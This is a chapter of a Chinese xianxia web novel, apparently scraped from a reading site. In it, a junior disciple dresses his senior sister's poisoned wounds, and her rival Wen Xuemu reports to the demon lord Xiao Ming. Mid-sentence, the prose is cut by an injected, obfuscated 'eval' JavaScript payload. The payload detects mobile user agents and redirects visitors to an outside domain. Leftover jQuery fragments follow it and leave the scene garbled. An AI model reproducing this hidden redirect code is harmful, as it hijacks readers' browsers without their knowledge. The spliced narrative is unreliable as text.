34. 刀子

作品:《师姐忧愤而亡

    燕彻的唇角落了下来,他笑不出来了:“为什么?每个人都会怕痛,都会哭,没什么丢人的。”


    胥兰璀无奈地叹息一声:“行了,血乎乎的有什么可看的,你快点出去。”


    燕彻紧蹙着眉毛,语气忽然变得紧绷而柔和,像是一根拉紧的琴弦:“师姐,我不是孩子了。我已经长大了,你也可以依赖我,就算你怕痛、会哭、甚至是脆弱,也没关系的。”


    胥兰璀安静了下来,她挣扎了好一会儿,才放弃般地朝他招招手:“那好吧,你过来吧。”


    她小心翼翼地将外衣褪了下来,被血濡湿的布料勾扯住破开的皮肉,“嘶啦”一声,带起一阵深入骨髓的刺痛。


    胥兰璀痛得浑身苍白,冷汗直冒,偏偏又硬气得很,只能死死咬住下唇,不让自己发出一点儿声响。


    燕彻担忧地望向她的伤口,早已无心在乎什么男女大防。他此刻的心绪无关旖旎,只有对一个年轻修士的敬佩和怜悯。


    胥兰璀慢慢扭过头,看了看身上的伤口,最严重的当属后肩那一道,深可见骨,若再深几分就要伤及心脉了。


    还有左臂的那一处,虽然轻些,但因为中了毒,伤口还发着麻。两处都是拜闻雪幕所赐。


    她的四肢和腰腹也有几处小伤,但只伤到了皮肉,未及筋骨,大概是闻雪幕那几个上不得台面、只习得皮毛的小喽啰。


    燕彻将目光放向她的后背,不禁倒吸一口凉气,伤口已经微微发紫,暗色的鲜血粘连着被剥下的衣物,明显是中毒的迹象。


    “这手下得……真狠。”燕彻的声音很轻,隐约带了几分怒气:“要不是你内力深厚,情况定不容乐观。”


    胥兰璀无声地扯了扯唇,这还是她许久已来,头一次对他人的修为起了忌惮之意。


    九州上下都称她是江南第一剑,同辈中也少有人能与她相提并论,除却那恐怖至极的静心宫墨夷襄,还有各大派的几位前辈,还没有什么人能让她心生畏惧。


    是啊,她竟然畏惧了。与其说她畏惧现在的闻雪幕,不如说她担忧以后的境况,她现在能强压她一头,但今后呢?


    闻雪幕的修为增涨神速,她从未见过如此生猛、狠辣的功法,就算是再邪门的邪术,也应当不至于此啊。


    “师姐?”燕彻轻声发问,拉回了她的思绪:“你痛不痛?我要上药了,如果痛的话记得出声。”


    胥兰璀抓紧了衣裙,低声道:“嗯,你轻一些。”燕彻忍不住蹙起了眉头:“这也太严重了,你自己一个人怎么行。”


    他将棉球沾上药粉,动作轻缓地抹了上去,几乎没用什么力气,柔和得像对待易碎珍贵的珍宝。


    棉球压在了最深的伤口上,即使力道很轻,难忍的刺痛还是传入四肢百骸,胥兰璀闷哼出声,燕彻听见,立刻停下了手上的动作。


    他紧攥着药瓶,小心谨慎地询问:“怎么了,是不是我的力气太大了,我再轻一点……”


    胥兰璀苦笑着摇摇头:“没有,你继续。”燕彻犹豫了一会儿才敢继续动作,终于,他将所有的伤口都上了药,然后放下了药瓶,拿起托盘上的纱布。


    洁白干净的布帛缠上胥兰璀的肩膀,燕彻将她的手臂抬了起来,轻轻绕过她的腋窝,又收了回来,打了个小巧利落的结。


    胥兰璀犹豫了一会儿,试探性地动了动,发现纱布竟没有妨碍她的动作,一时有些新奇:“庭兰,你缠得还挺好。”


    燕彻别开了眼睛,脸颊微微发红:“师姐如果没别的吩咐,我就去院外煎药了。”胥兰璀莞尔一笑,将衣带系上,轻手轻脚地披上了外衣:“去吧,我先睡一会儿。”


    天色渐渐破晓,夜幕披上了鱼肚白,星星黯了下去,只余一轮若隐若现的弯月。从江南御剑北上,涉灵河,越幽山,到了魔族领地时便是另一副景象。


    仙门百家于百年前在灵河、幽山两地穷尽毕生所学设下难以逾越的法阵,从此维护了人间百年的安宁。


    只是近十年来法阵边缘越发崩溃,已经压制不住蠢蠢欲动的魔族,一些修为高强的魔修更是视法阵于无物,随意便能穿越重重屏障,来到人间为非作歹。


    而仙门则因为那场大战损伤惨重,早已无当年的力量,对法阵也只是勉强维持控制而已。


    魔族疆域之内魔气萦绕,天空始终灰蒙蒙的一片,抬眼望去,几乎分辨不出昼夜,此地杂草丛生,凄风厉雨,天色诡异多变,如同遭天神放逐之地。


    何况魔族本就是为天神所放逐,这里所有的罪恶、欲望都毫无掩饰,越接近魔族的中心,就越穷凶极恶,鱼龙混杂,莫说外头的修士了,连自己人都相互打得不可开交,争城池土地争得头破血流。


    闻雪幕原姓凌,本是魔族九城之一的羌回城城主——羌回王凌霸上与其王妃五毒娘子闻丹砂的独女,自小便被当做继承人培养。


    可她八岁那年,仙门与魔族在灵河之界开启一场鏖战,一夕之间,斗转星移。


    凌霸上、闻丹砂战死了,魔族又接二连三地爆发内乱;双亲的部下为了复仇,也为了保存实力,将她化作了一个父母双亡、与老仆相依为命的商贾家女儿,求上了宁陵山,山主见他们可怜,便答应让师弟收下她为徒。


    阔别整整十年,魔族早已不是当年的景象。


    闻雪幕深吸了一口气,喃喃开口:“十年啊,真是太久了,久到我都要忘记故乡的样子了……”


    闻雪幕挥袖从宝剑上飞了下来,城门口早早就占了四排严阵以待的魔族士兵,为首的是个高大魁梧、通身黑甲的中年魔修将领。


    魔修见到她,十分恭敬地下跪行礼道:“闻姑娘。”闻雪幕淡淡地点了点头,便开门见山:“君上呢?速速带我去见他。”


    魔修乌青发紫的额角上冒了些冷汗,说话吞吞吐吐:“这个……属下也不知道……”


    闻雪幕定定地看了他许久,哼笑一声:“撒谎也不知道打个草稿吗?带我去见君上,否则,我治你不敬之罪!”


    魔修战战兢兢,连忙从地上爬起来,嘴上连连告罪:“是属下该死!是属下该死!还请姑娘饶命!”


    闻雪幕嫣然一笑:“你要是早这么懂事,哪用吃这种苦头?记清了,下回可不要敬酒不吃吃罚酒。”魔修十分勉强地陪着笑脸:“是是是,姑娘说得对。”


    大殿四处垂着奢丽华美的深色锦帐,正中央则摆放着一张雕金砌玉的黄金宝座,座上侧躺着位年轻男子,他斜


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16033531|176944||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    支着腿,正从身旁的美人手里接过葡萄。


    十成十的昏君模样。


    闻雪幕嗤之以鼻,强行压下眼中的不屑,向他恭恭敬敬地行礼问安:“雪幕见过君上,问君上安。”


    男子挑眉,斜瞥了她一眼,并不理会,只是自顾自地哄着身旁娇美的佳人。


    令人难以忍受的沉默在殿内缓缓蔓延,终于,美人先受不住了,手中的琉璃碗一滑,“啪哒”一下摔碎在地,碎作晶莹的几瓣。


    “没用的东西。”闻雪幕紧锁着眉,厉声斥责道:“碍什么事,不长眼也不长腿么?赶紧滚!”


    男子好整以暇地看着这一幕,并不解释,也并不帮腔,美人畏惧地抬起了头,泪眼盈盈地望了他一眼。


    萧冥看了一会儿,缓缓开口,总算是说出了第一句话:“行了,火气这么大,是没完成任务么?”


    闻雪幕低头,勉强收敛了怒意:“是我的错,辜负了君上的信任,请君上责罚。”


    萧冥挑了挑眉:“罚?为什么要罚,宣陵君不容小觑,你能伤她便已是大功一件,我不仅不会罚你,还要赏你。这样,我封你做魔族圣女,一人之下,万人之上,如何?”


    闻雪幕不为所动:“雪幕只有回到故乡羌回一个心愿。”


    萧冥似有所悟,慵懒地拖长了音调:“哦———不要虚名,只要实权,好聪明啊。不愧是凌霸上的女儿。空有名头的圣女不好听,那我给你统领兵马之权,位同大将军,再封你做羌回王,如何?”


    闻雪幕皱眉,语气生硬:“君上说笑了。”


    萧冥哈哈大笑起来:“口是心非,有趣,有趣。但我也是有要求的,那群老家伙不服我,我需要一个得力的臂膀,闻雪幕,我很欣赏你。”


    殿内落针可闻,周遭的气氛愈发冰凉,美人屏住呼吸,眼观鼻,鼻观心,大气都不敢出。


    过了许久,闻雪幕笑道:“能得到君上的赏识,是雪幕的荣幸。”


    萧冥眯了眯眼睛,将手中的酒盏轻轻砸在了桌面上:“我很好奇,你这么精明的人,怎么会玩不过宣陵君?我听闻,她是个只会舞刀弄剑的武痴。”


    闻雪幕神色自若,语气平静:“她不是,所以我输了,但她也没有赢。”萧冥哂笑一声:“你不是带着部下连夜回来了么?”


    闻雪幕轻蔑地扬起了下巴,目光透露出几分视在必得:“她赢得了一时,赢不了一世。总有一天,我会将她踩在脚下。”


    萧冥颇为疑惑地思索了一会儿,终于,他想起了底下人爱看的那些话本子:“你期待打败她吗?为什么?是她横刀夺爱吗?”


    闻雪幕沉默片刻,冷静地开口:“我不喜欢输。所以我要赢她,就这么简单,无关情爱。”


    她顿了顿,又道:“或者说……纯粹是我把她视作一个了不得的对手?所以我想打败她。”


    萧冥笑出了声,慢慢地拍了拍手:“好答案,我也想会会那位宣陵君了,希望那时候她不会让我失望。”


    闻雪幕勾了勾唇,行礼离开,她身后的美人“刷”地一下缩进了萧冥的怀里,待闻雪幕的身影彻底离去,君王的笑意也缓缓地慢了下来:


    “一把太好用的刀子,也会伤人啊。”